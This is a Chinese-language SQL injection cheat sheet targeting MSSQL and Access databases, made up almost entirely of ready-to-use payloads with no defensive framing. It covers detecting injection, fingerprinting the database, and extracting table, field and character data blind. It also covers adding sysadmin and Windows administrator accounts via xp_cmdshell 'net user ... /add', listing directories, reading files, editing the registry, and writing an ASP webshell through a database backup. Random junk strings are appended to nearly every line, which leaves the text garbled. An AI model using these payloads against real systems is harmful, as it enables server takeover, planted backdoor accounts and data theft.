1.判断是否有注入;and 1=1 ;and 1=2 %NxNZe
2.初步判断是否是mssql ;and user>0 TzX>d<x
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3.注入参数是字符'and [查询条件] and ''=' FVF:1DT
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' )OjbmU!7
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5.判断数据库系统 u45e>F=
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;and (select count(*) from sysobjects)>0 mssql 8U\ +b?}
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;and (select count(*) from msysobjects)>0 access mv30xcc
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 -U;s,>\)
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 +Pa!pj/< z
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 w8@MUz}/#
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9.(1)猜字段的ascii值(access) yChC&kX
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 nNQ\rO
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(2)猜字段的ascii值(mssql) R@"N{ [9
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 y{jv-&!xB
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10.测试权限结构(mssql) XP{ nf9&
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ]JhtO{
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- q*'hSt@+D
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- A= ,q&
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- OgOu$.
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- TFM}P
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- '{7A1yJnY%
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;and 1=(select IS_MEMBER('db_owner'));-- m{V@Om
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11.添加mssql和系统的帐户 $@K+yOq+u
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;exec master.dbo.sp_addlogin username;-- ("{AY?{{
;exec master.dbo.sp_password null,username,password;-- TmQ2;3%
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- pq4+n'uO
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;exec master.dbo.xp_cmdshell 'net user username password _ H@pYMNH
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ZZeqOu7^
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 3mBrnq]j>
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- wefQmRK
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12.(1)遍历目录
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;create table dirs(paths varchar(100), id int) vn
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;insert dirs exec master.dbo.xp_dirtree 'c:\' .Q?AzU,2D
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;and (select top 1 paths from dirs)>0 b%v1]a[
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) \x|(`;{
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(2)遍历目录 DVCc^5#
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- *1>XlVx,
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Bp4QHv9xqL
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 S"}FsS;k<?
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 O81})r*Y
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 N"2@yaN
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13.mssql中的存储过程 9{>m04888
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xp_regenumvalues 注册表根键, 子键 H:0-.a^ZS
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 i{%~&!
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xp_regread 根键,子键,键值名 o'yR^`
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;exec xp_regread ;E##bdSCA
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 g fO.Ky6
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xp_regwrite 根键,子键, 值名, 值类型, 值 W]rXt,{&
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 EJL45R>
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 b7"pm)6
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xp_regdeletevalue 根键,子键,值名 $`]<4I9d
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 'kYV}rq;l
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 }3N8EmS
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14.mssql的backup创建webshell )zr/9aV
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use model rWa7"<`p
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create table cmd(str image); VsUEp_I
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insert into cmd(str) values (''); +IJpqFH
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backup database model to disk='c:\l.asp'; V1j&>-]]9*
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15.mssql内置函数 0MPsF{Xw[
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;and (select @@version)>0 获得Windows的版本号 ~\XB'
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 93YD\R+q
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;and (select user_name())>0 爆当前系统的连接用户 Ya=QN<
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;and (select db_name())>0 得到当前连接的数据库 hW/*]7AM^
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16.简洁的webshell l:faI&o.@
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use model sU{+.k{
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create table cmd(str image); )rj.WK.
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insert into cmd(str) values (''); tkJ/h<
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backup database model to disk='g:\wwwtest\l.asp';